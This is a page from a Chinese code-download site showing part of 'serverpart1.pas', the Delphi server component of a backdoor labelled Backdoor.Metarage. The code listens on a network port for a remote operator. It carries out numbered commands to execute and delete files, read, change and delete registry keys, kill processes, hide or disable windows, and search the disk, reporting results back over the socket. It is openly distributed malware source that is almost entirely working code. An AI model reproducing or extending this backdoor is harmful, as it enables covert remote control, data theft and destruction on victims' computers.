⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 serverpart1.pas

📁 Backdoor.Metarage,for delphi..
💻 PAS
📖 第 1 页 / 共 2 页
字号:
  SaveFile(RefreshList(Param), (Sysdir + '\FILE.LST'));
  An := '21FILE.LST'#13;
  Send(CServ1, An[1], Length(An), 0);
 End;
 // !! DELETE FILE
 If Cmd = '22' Then Begin
  If DeleteFile(pChar(Param)) Then
   An := cmd+'Y' Else An := Cmd+'N';
  Send(CServ1, An[1], Length(An), 0);
 End;
 // !! EXECUTE FILE
 If Cmd = '23' Then Begin
  If ShellExecute(0, 'open', pChar(Param), NIL, NIL, 0) = ERROR_SUCCESS Then
   An := cmd+'Y' Else An := Cmd+'N';
  Send(CServ1, An[1], Length(An), 0);
 End;
 // !! REFRESH REG
 If Cmd = '24' Then Begin
  tmp1 := copy(param, 1, pos(':', param)-1);
  tmp2 := copy(param, pos(':', param)+1, length(param));
  If Tmp1 = 'HKEY_CLASSES_ROOT' then
   SaveFile(ReadRegEdit(HKEY_CLASSES_ROOT, Tmp2, 0), (Sysdir + '\FILE.LST'));
  If Tmp1 = 'HKEY_CURRENT_USER' then
   SaveFile(ReadRegEdit(HKEY_CURRENT_USER, Tmp2, 0), (Sysdir + '\FILE.LST'));
  If Tmp1 = 'HKEY_LOCAL_MACHINE' then
   SaveFile(ReadRegEdit(HKEY_LOCAL_MACHINE, Tmp2, 0), (Sysdir + '\FILE.LST'));
  If Tmp1 = 'HKEY_USERS' then
   SaveFile(ReadRegEdit(HKEY_USERS, Tmp2, 0), (Sysdir + '\FILE.LST'));
  If Tmp1 = 'HKEY_CURRENT_CONFIG' then
   SaveFile(ReadRegEdit(HKEY_CURRENT_CONFIG, Tmp2, 0), (Sysdir + '\FILE.LST'));

  An := '24FILE.LST'#13;
  Send(CServ1, An[1], Length(An), 0);
 End;
 // !! DELETE KEY
 if Cmd = '25' Then Begin
  tmp1 := copy(param, 1, pos(':', param)-1);
  tmp2 := copy(param, pos(':', param)+1, length(param));
  tmp3 := copy(tmp2, pos(':', tmp2)+1, length(tmp2));
  tmp2 := copy(tmp2, 1, pos(':', tmp2)-1);
  If Tmp1 = 'HKEY_CLASSES_ROOT' then
   DeleteRegKey(HKEY_CLASSES_ROOT, Tmp2, Tmp3);
  If Tmp1 = 'HKEY_CURRENT_USER' then
   DeleteRegKey(HKEY_CURRENT_USER, Tmp2, Tmp3);
  If Tmp1 = 'HKEY_LOCAL_MACHINE' then
   DeleteRegKey(HKEY_LOCAL_MACHINE, Tmp2, Tmp3);
  If Tmp1 = 'HKEY_USERS' then
   DeleteRegKey(HKEY_USERS, Tmp2, Tmp3);
  If Tmp1 = 'HKEY_CURRENT_CONFIG' then
   DeleteRegKey(HKEY_CURRENT_CONFIG, Tmp2, Tmp3);

  An := '25'#13;
  Send(CServ1, An[1], Length(An), 0);
 End;
 // !! DELETE VALUE
 if Cmd = '26' Then Begin
  tmp1 := copy(param, 1, pos(':', param)-1);
  tmp2 := copy(param, pos(':', param)+1, length(param));
  tmp3 := copy(tmp2, pos(':', tmp2)+1, length(tmp2));
  tmp2 := copy(tmp2, 1, pos(':', tmp2)-1);
  If Tmp1 = 'HKEY_CLASSES_ROOT' then
   DeleteRegValue(HKEY_CLASSES_ROOT, Tmp2, Tmp3);
  If Tmp1 = 'HKEY_CURRENT_USER' then
   DeleteRegValue(HKEY_CURRENT_USER, Tmp2, Tmp3);
  If Tmp1 = 'HKEY_LOCAL_MACHINE' then
   DeleteRegValue(HKEY_LOCAL_MACHINE, Tmp2, Tmp3);
  If Tmp1 = 'HKEY_USERS' then
   DeleteRegValue(HKEY_USERS, Tmp2, Tmp3);
  If Tmp1 = 'HKEY_CURRENT_CONFIG' then
   DeleteRegValue(HKEY_CURRENT_CONFIG, Tmp2, Tmp3);

  An := '26'#13;
  Send(CServ1, An[1], Length(An), 0);
 End;
 // !! SET VALUE
 If Cmd = '27' then begin
  tmp1 := copy(param, 1, pos(':', param)-1);
  tmp2 := copy(param, pos(':', param)+1, length(param));
  tmp3 := copy(tmp2, pos(':', tmp2)+1, length(tmp2));
  tmp4 := copy(tmp3, pos(':', tmp3)+1, length(tmp3));
  tmp3 := copy(tmp3, 1, pos(':', tmp3)-1);
  tmp2 := copy(tmp2, 1, pos(':', tmp2)-1);

  If Tmp1 = 'HKEY_CLASSES_ROOT' then
   SetRegValue(HKEY_CLASSES_ROOT, Tmp2, Tmp3, tmp4);
  If Tmp1 = 'HKEY_CURRENT_USER' then
   SetRegValue(HKEY_CURRENT_USER, Tmp2, Tmp3, tmp4);
  If Tmp1 = 'HKEY_LOCAL_MACHINE' then
   SetRegValue(HKEY_LOCAL_MACHINE, Tmp2, Tmp3, tmp4);
  If Tmp1 = 'HKEY_USERS' then
   SetRegValue(HKEY_USERS, Tmp2, Tmp3, tmp4);
  If Tmp1 = 'HKEY_CURRENT_CONFIG' then
   SetRegValue(HKEY_CURRENT_CONFIG, Tmp2, Tmp3, tmp4);

  An := '27'#13;
  Send(CServ1, An[1], Length(An), 0);

 End;

 // !! UPDATE PROCESS
 If Cmd = '29' Then Begin
  SaveFile(LISTPROC, (Sysdir+'PROC.LST'));
  An := '24PROC.LST'#13;
  Send(CServ1, An[1], Length(An), 0);
 End;

 // !! CLOSE PROCESS
 If Cmd = '30' Then Begin
  KillProc(Param);
  An := '30'#13;
  Send(CServ1, An[1], Length(An), 0);
 End;

 // !! REFRESH WINDOWS
 If Cmd = '31' Then Begin
  SaveFile(GETWINS, (Sysdir+'WINS.LST'));
  An := '24WINS.LST'#13;
  Send(CServ1, An[1], Length(An), 0);
 End;
 // !! CHANGE CAPTION
 If Cmd = '32' Then Begin
  Tmp1 := Copy(Param, 1, pos(':', Param)-1);
  Tmp2 := Copy(Param, Pos(':', Param)+1, Length(Param));
  SetWindowText(StrToInt(Tmp1), pChar(Tmp2));
  An := '32'#13;
  Send(CServ1, An[1], Length(An), 0);
 End;
 // !! HIDE WINDOW
 If Cmd = '33' Then Begin
  ShowWindow(StrToInt(Param), 0);
  An := '34'#13;
  Send(CServ1, An[1], Length(An), 0);
 End;
 // !! SHOW WINDOW
 If Cmd = '34' Then Begin
  ShowWindow(StrToInt(Param), 1);
  An := '34'#13;
  Send(CServ1, An[1], Length(An), 0);
 End;
 // !! DISABLE WINDOW
 If Cmd = '35' Then Begin
  EnableWindow(StrToInt(Param), False);
  An := '35'#13;
  Send(CServ1, An[1], Length(An), 0);
 End;
 // !! ENABLE WINDOW
 If Cmd = '36' Then Begin
  EnableWindow(StrToInt(Param), True);
  An := '36'#13;
  Send(CServ1, An[1], Length(An), 0);
 End;
 // !! CANCEL CURRENT
 If Cmd = '37' Then Begin
  Cancel_Transfer := True;
  An := '37'#13;
  Send(CServ1, An[1], Length(An), 0);
 End;
 // !! FIND FILES
 If Cmd = '38' Then Begin
  If Already_Searching Then Cancel_Search := True;
  Sleep(200);
  SearchFor := Param;
  Cancel_Search := False;
  Already_Searching := True;
  CreateThread(NIL, 0, @FindFile, NIL, 0, FindFiles_Thread);
  An := '38'#13;
  Send(CServ1, An[1], Length(An), 0);
 End;

End;

Function ServerProc1 (Win:Hwnd; Mess:Word; Wpr:Word; Lpr:LongInt):LongInt;Stdcall;
Begin
 Result := 0;
 Case mess Of
  SM_CONNECT: Begin
               If Connected Then Exit;
               RemoteSockAddrLen^ := SizeOf(RemoteSockAddr^);
               CServ1 := Accept(Serv1, RemoteSockAddr, RemoteSockAddrLen);
               wsaAsyncSelect(CServ1, MainWin, SM_SOCKET, FD_READ or FD_CLOSE);
               Connected := True;
               Exit;
              End;
  SM_SOCKET : Begin
               Case LoWord(Lpr) Of
                FD_READ: SocketRead1('');
                FD_CLOSE: Begin
                           Connected := False;
                           Exit;
                          End;
               End;
              End;
  WM_CLOSE  : Begin
               PostQuitMessage(0);
               ExitProcess(0);
              End;
  WM_DESTROY: Begin
               PostQuitMessage(0);
               ExitProcess(0);
              End;
  WM_QUIT   : Begin
               ExitProcess(0);
              End;
  End;
 Result := DefWindowProc(Win, Mess, Wpr, Lpr);
End;

Procedure Server1(Port:Integer);
begin

  Inst := GetModuleHandle(NIL);

  With wClass Do Begin
    Style := CS_CLASSDC or CS_PARENTDC;
    lpfnWndProc := @ServerProc1;
    hInstance := Inst;
    hbrBackGround := Color_BtnFace + 1;
    lpszClassname := ServerClass;
    hCursor := LoadCursor(0, IDC_ARROW);
  End;

  RegisterClass(wClass);

  MainWin := CreateWindow(ServerClass, NIL, 0, 0, 0,
             GetSystemMetrics(SM_CXSCREEN), GetSystemMetrics(SM_CYSCREEN),
             0, 0, Inst, NIL);

  WSAStartUp($0101, wsData);

  Serv1 := Socket(PF_INET, SOCK_STREAM, IPPROTO_IP);
  SockAddrIn.Sin_Family := PF_INET;
  SockAddrIn.Sin_Addr.S_Addr := INADDR_ANY;
  SockAddrIn.Sin_Port := hTons(Port);
  Bind(Serv1, SockAddrIn, SizeOf(SockAddrIn));
  Listen(Serv1, 1);
  wsaAsyncSelect(Serv1, MainWin, SM_CONNECT, FD_ACCEPT);
  GetMem (RemoteSockAddr, SizeOf(RemoteSockAddr));
  GetMem (RemoteSockAddrLen, SizeOf(RemoteSockAddrLen));
  While GetMessage(Msg, 0, 0, 0) Do Begin
    DispatchMessage(Msg);
    TranslateMessage(Msg);
  End;
end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -